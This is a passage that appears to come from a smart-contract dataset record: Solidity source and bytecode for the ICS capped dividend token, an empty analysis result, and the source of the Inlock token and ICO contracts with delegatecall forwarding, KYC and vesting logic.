function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract DividendPayoutToken is CappedToken {
// Dividends already claimed by investor
mapping(address => uint256) public dividendPayments;
// Total dividends claimed by all investors
uint256 public totalDividendPayments;
// invoke this function after each dividend payout
function increaseDividendPayments(address _investor, uint256 _amount) onlyOwner public {
dividendPayments[_investor] = dividendPayments[_investor].add(_amount);
totalDividendPayments = totalDividendPayments.add(_amount);
}
//When transfer tokens decrease dividendPayments for sender and increase for receiver
function transfer(address _to, uint256 _value) public returns (bool) {
// balance before transfer
uint256 oldBalanceFrom = balances[msg.sender];
// invoke super function with requires
bool isTransferred = super.transfer(_to, _value);
uint256 transferredClaims = dividendPayments[msg.sender].mul(_value).div(oldBalanceFrom);
dividendPayments[msg.sender] = dividendPayments[msg.sender].sub(transferredClaims);
dividendPayments[_to] = dividendPayments[_to].add(transferredClaims);
return isTransferred;
}
//When transfer tokens decrease dividendPayments for token owner and increase for receiver
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
// balance before transfer
uint256 oldBalanceFrom = balances[_from];
// invoke super function with requires
bool isTransferred = super.transferFrom(_from, _to, _value);
uint256 transferredClaims = dividendPayments[_from].mul(_value).div(oldBalanceFrom);
dividendPayments[_from] = dividendPayments[_from].sub(transferredClaims);
dividendPayments[_to] = dividendPayments[_to].add(transferredClaims);
return isTransferred;
}
}
contract IcsToken is DividendPayoutToken {
string public constant name = "Interexchange Crypstock System";
string public constant symbol = "ICS";
uint8 public constant decimals = 18;
// set Total Supply in 500 000 000 tokens
constructor() public
CappedToken(5e8 * 1e18) {}
}
|
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461012257806306fdde0314610151578063095ea7b3146101e1578063127eca3f1461024657806318160ddd1461027157806323b872dd1461029c578063313ce56714610321578063355274ea1461035257806340c10f191461037d57806366188463146103e257806370a0823114610447578063715018a61461049e57806372fdbf25146104b55780637d64bcb4146105025780638da5cb5b1461053157806395d89b4114610588578063a9059cbb14610618578063d73dd6231461067d578063dd62ed3e146106e2578063de3636cf14610759578063f2fde38b146107b0575b600080fd5b34801561012e57600080fd5b506101376107f3565b604051808215151515815260200191505060405180910390f35b34801561015d57600080fd5b50610166610806565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a657808201518184015260208101905061018b565b50505050905090810190601f1680156101d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ed57600080fd5b5061022c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083f565b604051808215151515815260200191505060405180910390f35b34801561025257600080fd5b5061025b610931565b6040518082815260200191505060405180910390f35b34801561027d57600080fd5b50610286610937565b6040518082815260200191505060405180910390f35b3480156102a857600080fd5b50610307600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610941565b604051808215151515815260200191505060405180910390f35b34801561032d57600080fd5b50610336610b32565b604051808260ff1660ff16815260200191505060405180910390f35b34801561035e57600080fd5b50610367610b37565b6040518082815260200191505060405180910390f35b34801561038957600080fd5b506103c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b3d565b604051808215151515815260200191505060405180910390f35b3480156103ee57600080fd5b5061042d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bee565b604051808215151515815260200191505060405180910390f35b34801561045357600080fd5b50610488600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e7f565b6040518082815260200191505060405180910390f35b3480156104aa57600080fd5b506104b3610ec7565b005b3480156104c157600080fd5b50610500600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fcc565b005b34801561050e57600080fd5b506105176110dc565b604051808215151515815260200191505060405180910390f35b34801561053d57600080fd5b506105466111a4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561059457600080fd5b5061059d6111ca565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105dd5780820151818401526020810190506105c2565b50505050905090810190601f16801561060a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561062457600080fd5b50610663600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611203565b604051808215151515815260200191505060405180910390f35b34801561068957600080fd5b506106c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113f2565b604051808215151515815260200191505060405180910390f35b3480156106ee57600080fd5b50610743600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115ee565b6040518082815260200191505060405180910390f35b34801561076557600080fd5b5061079a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611675565b6040518082815260200191505060405180910390f35b3480156107bc57600080fd5b506107f1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061168d565b005b600360149054906101000a900460ff1681565b6040805190810160405280601e81526020017f496e74657265786368616e6765204372797073746f636b2053797374656d000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b6000600154905090565b6000806000806000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205492506109938787876117e5565b91506109f9836109eb87600560008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9f90919063ffffffff16565b611bda90919063ffffffff16565b9050610a4d81600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf090919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ae281600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508193505050509392505050565b601281565b60045481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b9b57600080fd5b600360149054906101000a900460ff16151515610bb757600080fd5b600454610bcf83600154611c0990919063ffffffff16565b11151515610bdc57600080fd5b610be68383611c27565b905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cff576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d93565b610d128382611bf090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f2357600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561102857600080fd5b61107a81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0990919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110d281600654611c0990919063ffffffff16565b6006819055505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561113a57600080fd5b600360149054906101000a900460ff1615151561115657600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f494353000000000000000000000000000000000000000000000000000000000081525081565b6000806000806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205492506112548686611e0d565b91506112ba836112ac87600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9f90919063ffffffff16565b611bda90919063ffffffff16565b905061130e81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf090919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113a381600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081935050505092915050565b600061148382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60056020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116e957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561172557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561182257600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561186f57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156118fa57600080fd5b61194b826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf090919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119de826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611aaf82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000806000841415611bb45760009150611bd3565b8284029050828482811515611bc557fe5b04141515611bcf57fe5b8091505b5092915050565b60008183811515611be757fe5b04905092915050565b6000828211151515611bfe57fe5b818303905092915050565b6000808284019050838110151515611c1d57fe5b8091505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c8557600080fd5b600360149054906101000a900460ff16151515611ca157600080fd5b611cb682600154611c0990919063ffffffff16565b600181905550611d0d826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611e4a57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611e9757600080fd5b611ee8826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f7b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820cd81b7fcd731600adbf34496638da8167c7ee438b809ea7c3c2b24706a4425910029
|
{"success": true, "error": null, "results": {}}
| 2,651 |
0x79d59505Fb63556e0c06035dE9AD1B18491d37C7
|
pragma solidity 0.4.24;
contract Owned {
/* Variables */
address public owner = msg.sender;
/* Constructor */
constructor(address _owner) public {
if ( _owner == 0x00 ) {
_owner = msg.sender;
}
owner = _owner;
}
/* Externals */
function replaceOwner(address _owner) external returns(bool) {
require( isOwner() );
owner = _owner;
return true;
}
/* Internals */
function isOwner() internal view returns(bool) {
return owner == msg.sender;
}
/* Modifiers */
modifier forOwner {
require( isOwner() );
_;
}
}
library SafeMath {
/* Internals */
function add(uint256 a, uint256 b) internal pure returns(uint256 c) {
c = a + b;
assert( c >= a );
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256 c) {
c = a - b;
assert( c <= a );
return c;
}
function mul(uint256 a, uint256 b) internal pure returns(uint256 c) {
c = a * b;
assert( c == 0 || c / a == b );
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
return a / b;
}
function pow(uint256 a, uint256 b) internal pure returns(uint256 c) {
c = a ** b;
assert( c % a == 0 );
return a ** b;
}
}
contract TokenDB is Owned {
/* Externals */
function transfer(address _from, address _to, uint256 _amount) external returns(bool _success) {}
function bulkTransfer(address _from, address[] _to, uint256[] _amount) external returns(bool _success) {}
function setAllowance(address _owner, address _spender, uint256 _amount) external returns(bool _success) {}
/* Constants */
function getAllowance(address _owner, address _spender) public view returns(bool _success, uint256 _remaining) {}
function balanceOf(address _owner) public view returns(bool _success, uint256 _balance) {}
}
contract Token is Owned {
/* Declarations */
using SafeMath for uint256;
/* Variables */
string public name = "Inlock token";
string public symbol = "ILK";
uint8 public decimals = 8;
uint256 public totalSupply = 44e16;
address public libAddress;
TokenDB public db;
Ico public ico;
/* Fallback */
function () public { revert(); }
/* Externals */
function changeLibAddress(address _libAddress) external forOwner {}
function changeDBAddress(address _dbAddress) external forOwner {}
function changeIcoAddress(address _icoAddress) external forOwner {}
function approve(address _spender, uint256 _value) external returns (bool _success) {}
function transfer(address _to, uint256 _amount) external returns (bool _success) {}
function bulkTransfer(address[] _to, uint256[] _amount) external returns (bool _success) {}
function transferFrom(address _from, address _to, uint256 _amount) external returns (bool _success) {}
/* Constants */
function allowance(address _owner, address _spender) public view returns (uint256 _remaining) {}
function balanceOf(address _owner) public view returns (uint256 _balance) {}
/* Events */
event AllowanceUsed(address indexed _spender, address indexed _owner, uint256 indexed _value);
event Mint(address indexed _addr, uint256 indexed _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
event Transfer(address indexed _from, address indexed _to, uint _value);
}
contract Ico is Owned {
/* Declarations */
using SafeMath for uint256;
/* Enumerations */
enum phaseType {
pause,
privateSale1,
privateSale2,
sales1,
sales2,
sales3,
sales4,
preFinish,
finish
}
struct vesting_s {
uint256 amount;
uint256 startBlock;
uint256 endBlock;
uint256 claimedAmount;
}
/* Variables */
mapping(address => bool) public KYC;
mapping(address => bool) public transferRight;
mapping(address => vesting_s) public vesting;
phaseType public currentPhase;
uint256 public currentRate;
uint256 public currentRateM = 1e3;
uint256 public privateSale1Hardcap = 4e16;
uint256 public privateSale2Hardcap = 64e15;
uint256 public thisBalance = 44e16;
address public offchainUploaderAddress;
address public setKYCAddress;
address public setRateAddress;
address public libAddress;
Token public token;
/* Constructor */
constructor(address _owner, address _libAddress, address _tokenAddress, address _offchainUploaderAddress,
address _setKYCAddress, address _setRateAddress) Owned(_owner) public {
currentPhase = phaseType.pause;
libAddress = _libAddress;
token = Token(_tokenAddress);
offchainUploaderAddress = _offchainUploaderAddress;
setKYCAddress = _setKYCAddress;
setRateAddress = _setRateAddress;
}
/* Fallback */
function () public payable {
buy();
}
/* Externals */
function changeLibAddress(address _libAddress) external forOwner {
libAddress = _libAddress;
}
function changeOffchainUploaderAddress(address _offchainUploaderAddress) external forOwner {
offchainUploaderAddress = _offchainUploaderAddress;
}
function changeKYCAddress(address _setKYCAddress) external forOwner {
setKYCAddress = _setKYCAddress;
}
function changeSetRateAddress(address _setRateAddress) external forOwner {
setRateAddress = _setRateAddress;
}
function setVesting(address _beneficiary, uint256 _amount, uint256 _startBlock, uint256 _endBlock) external {
address _trg = libAddress;
assembly {
let m := mload(0x40)
calldatacopy(m, 0, calldatasize)
let success := delegatecall(gas, _trg, m, calldatasize, m, 0)
switch success case 0 {
revert(0, 0)
} default {
return(m, 0)
}
}
}
function claimVesting() external {
address _trg = libAddress;
assembly {
let m := mload(0x40)
calldatacopy(m, 0, calldatasize)
let success := delegatecall(gas, _trg, m, calldatasize, m, 0)
switch success case 0 {
revert(0, 0)
} default {
return(m, 0)
}
}
}
function setKYC(address[] _on, address[] _off) external {
address _trg = libAddress;
assembly {
let m := mload(0x40)
calldatacopy(m, 0, calldatasize)
let success := delegatecall(gas, _trg, m, calldatasize, m, 0)
switch success case 0 {
revert(0, 0)
} default {
return(m, 0)
}
}
}
function setTransferRight(address[] _allow, address[] _disallow) external {
address _trg = libAddress;
assembly {
let m := mload(0x40)
calldatacopy(m, 0, calldatasize)
let success := delegatecall(gas, _trg, m, calldatasize, m, 0)
switch success case 0 {
revert(0, 0)
} default {
return(m, 0)
}
}
}
function setCurrentRate(uint256 _currentRate) external {
address _trg = libAddress;
assembly {
let m := mload(0x40)
calldatacopy(m, 0, calldatasize)
let success := delegatecall(gas, _trg, m, calldatasize, m, 0)
switch success case 0 {
revert(0, 0)
} default {
return(m, 0)
}
}
}
function setCurrentPhase(phaseType _phase) external {
address _trg = libAddress;
assembly {
let m := mload(0x40)
calldatacopy(m, 0, calldatasize)
let success := delegatecall(gas, _trg, m, calldatasize, m, 0)
switch success case 0 {
revert(0, 0)
} default {
return(m, 0)
}
}
}
function offchainUpload(address[] _beneficiaries, uint256[] _rewards) external {
address _trg = libAddress;
assembly {
let m := mload(0x40)
calldatacopy(m, 0, calldatasize)
let success := delegatecall(gas, _trg, m, calldatasize, m, 0)
switch success case 0 {
revert(0, 0)
} default {
return(m, 0)
}
}
}
function buy() public payable {
address _trg = libAddress;
assembly {
let m := mload(0x40)
calldatacopy(m, 0, calldatasize)
let success := delegatecall(gas, _trg, m, calldatasize, m, 0)
switch success case 0 {
revert(0, 0)
} default {
return(m, 0)
}
}
}
/* Constants */
function allowTransfer(address _owner) public view returns (bool _success, bool _allow) {
address _trg = libAddress;
assembly {
let m := mload(0x40)
calldatacopy(m, 0, calldatasize)
let success := delegatecall(gas, _trg, m, calldatasize, m, 0x40)
switch success case 0 {
revert(0, 0)
} default {
return(m, 0x40)
}
}
}
function calculateReward(uint256 _input) public view returns (bool _success, uint256 _reward) {
address _trg = libAddress;
assembly {
let m := mload(0x40)
calldatacopy(m, 0, calldatasize)
let success := delegatecall(gas, _trg, m, calldatasize, m, 0x40)
switch success case 0 {
revert(0, 0)
} default {
return(m, 0x40)
}
}
}
function calcVesting(address _owner) public view returns(bool _success, uint256 _reward) {
address _trg = libAddress;
assembly {
let m := mload(0x40)
calldatacopy(m, 0, calldatasize)
let success := delegatecall(gas, _trg, m, calldatasize, m, 0x40)
switch success case 0 {
revert(0, 0)
} default {
return(m, 0x40)
}
}
}
/* Events */
event Brought(address _owner, address _beneficiary, uint256 _input, uint256 _output);
event VestingDefined(address _beneficiary, uint256 _amount, uint256 _startBlock, uint256 _endBlock);
event VestingClaimed(address _beneficiary, uint256 _amount);
}
contract IcoLib is Ico {
/* Constructor */
constructor(address _owner, address _tokenAddress, address _offchainUploaderAddress, address _setKYCAddress, address _setRateAddress)
Ico(_owner, 0x00, _tokenAddress, _offchainUploaderAddress, _setKYCAddress, _setRateAddress) public {}
/* Externals */
function setVesting(address _beneficiary, uint256 _amount, uint256 _startBlock, uint256 _endBlock) external forOwner {
require( _beneficiary != 0x00 );
thisBalance = thisBalance.add( vesting[_beneficiary].amount.sub(vesting[_beneficiary].claimedAmount) );
if ( _amount == 0 ) {
delete vesting[_beneficiary];
emit VestingDefined(_beneficiary, 0, 0, 0);
} else {
require( _endBlock > _startBlock );
vesting[_beneficiary] = vesting_s(
_amount,
_startBlock,
_endBlock,
0
);
thisBalance = thisBalance.sub( _amount );
emit VestingDefined(_beneficiary, _amount, _startBlock, _endBlock);
}
}
function claimVesting() external {
uint256 _reward;
bool _subResult;
( _subResult, _reward ) = calcVesting(msg.sender);
require( _subResult && _reward > 0 );
vesting[msg.sender].claimedAmount = vesting[msg.sender].claimedAmount.add(_reward);
require( token.transfer(msg.sender, _reward) );
}
function setKYC(address[] _on, address[] _off) external {
uint256 i;
require( msg.sender == setKYCAddress );
for ( i=0 ; i<_on.length ; i++ ) {
KYC[_on[i]] = true;
}
for ( i=0 ; i<_off.length ; i++ ) {
delete KYC[_off[i]];
}
}
function setTransferRight(address[] _allow, address[] _disallow) external forOwner {
uint256 i;
for ( i=0 ; i<_allow.length ; i++ ) {
transferRight[_allow[i]] = true;
}
for ( i=0 ; i<_disallow.length ; i++ ) {
delete transferRight[_disallow[i]];
}
}
function setCurrentRate(uint256 _currentRate) external {
require( msg.sender == setRateAddress );
require( _currentRate >= currentRateM );
currentRate = _currentRate;
}
function setCurrentPhase(phaseType _phase) external forOwner {
currentPhase = _phase;
}
function offchainUpload(address[] _beneficiaries, uint256[] _rewards) external {
uint256 i;
uint256 _totalReward;
require( msg.sender == offchainUploaderAddress );
require( currentPhase != phaseType.pause && currentPhase != phaseType.finish );
require( _beneficiaries.length == _rewards.length );
for ( i=0 ; i<_rewards.length ; i++ ) {
_totalReward = _totalReward.add(_rewards[i]);
emit Brought(msg.sender, _beneficiaries[i], 0, _rewards[i]);
}
thisBalance = thisBalance.sub(_totalReward);
if ( currentPhase == phaseType.privateSale1 ) {
privateSale1Hardcap = privateSale1Hardcap.sub(_totalReward);
} else if ( currentPhase == phaseType.privateSale2 ) {
privateSale2Hardcap = privateSale2Hardcap.sub(_totalReward);
}
token.bulkTransfer(_beneficiaries, _rewards);
}
function buy() public payable {
uint256 _reward;
bool _subResult;
require( currentPhase == phaseType.privateSale2 ||
currentPhase == phaseType.sales1 ||
currentPhase == phaseType.sales2 ||
currentPhase == phaseType.sales3 ||
currentPhase == phaseType.sales4 ||
currentPhase == phaseType.preFinish
);
require( KYC[msg.sender] );
( _subResult, _reward ) = calculateReward(msg.value);
require( _reward > 0 && _subResult );
thisBalance = thisBalance.sub(_reward);
require( owner.send(msg.value) );
if ( currentPhase == phaseType.privateSale1 ) {
privateSale1Hardcap = privateSale1Hardcap.sub(_reward);
} else if ( currentPhase == phaseType.privateSale2 ) {
privateSale2Hardcap = privateSale2Hardcap.sub(_reward);
}
require( token.transfer(msg.sender, _reward) );
emit Brought(msg.sender, msg.sender, msg.value, _reward);
}
/* Constants */
function allowTransfer(address _owner) public view returns (bool _success, bool _allow) {
return ( true, _owner == address(this) || transferRight[_owner] || currentPhase == phaseType.preFinish || currentPhase == phaseType.finish );
}
function calculateReward(uint256 _input) public view returns (bool _success, uint256 _reward) {
uint256 _amount;
_success = true;
if ( currentRate == 0 || _input == 0 ) {
return;
}
_amount = _input.mul(1e8).mul(100).mul(currentRate).div(1e18).div(currentRateM); // 1 token eq 0.01 USD
if ( _amount == 0 ) {
return;
}
if ( currentPhase == phaseType.privateSale1 ) {
if ( _amount >= 25e13 ) {
_reward = _amount.mul(142).div(100);
} else if ( _amount >= 10e13 ) {
_reward = _amount.mul(137).div(100);
} else if ( _amount >= 2e13 ) {
_reward = _amount.mul(133).div(100);
}
if ( _reward > 0 && privateSale1Hardcap < _reward ) {
_reward = 0;
}
} else if ( currentPhase == phaseType.privateSale2 ) {
if ( _amount >= 125e13 ) {
_reward = _amount.mul(129).div(100);
} else if ( _amount >= 100e13 ) {
_reward = _amount.mul(124).div(100);
} else if ( _amount >= 10e13 ) {
_reward = _amount.mul(121).div(100);
}
if ( _reward > 0 && privateSale2Hardcap < _reward ) {
_reward = 0;
}
} else if ( currentPhase == phaseType.sales1 ) {
if ( _amount >= 1e13 ) {
_reward = _amount.mul(117).div(100);
}
} else if ( currentPhase == phaseType.sales2 ) {
if ( _amount >= 1e13 ) {
_reward = _amount.mul(112).div(100);
}
} else if ( currentPhase == phaseType.sales3 ) {
if ( _amount >= 1e13 ) {
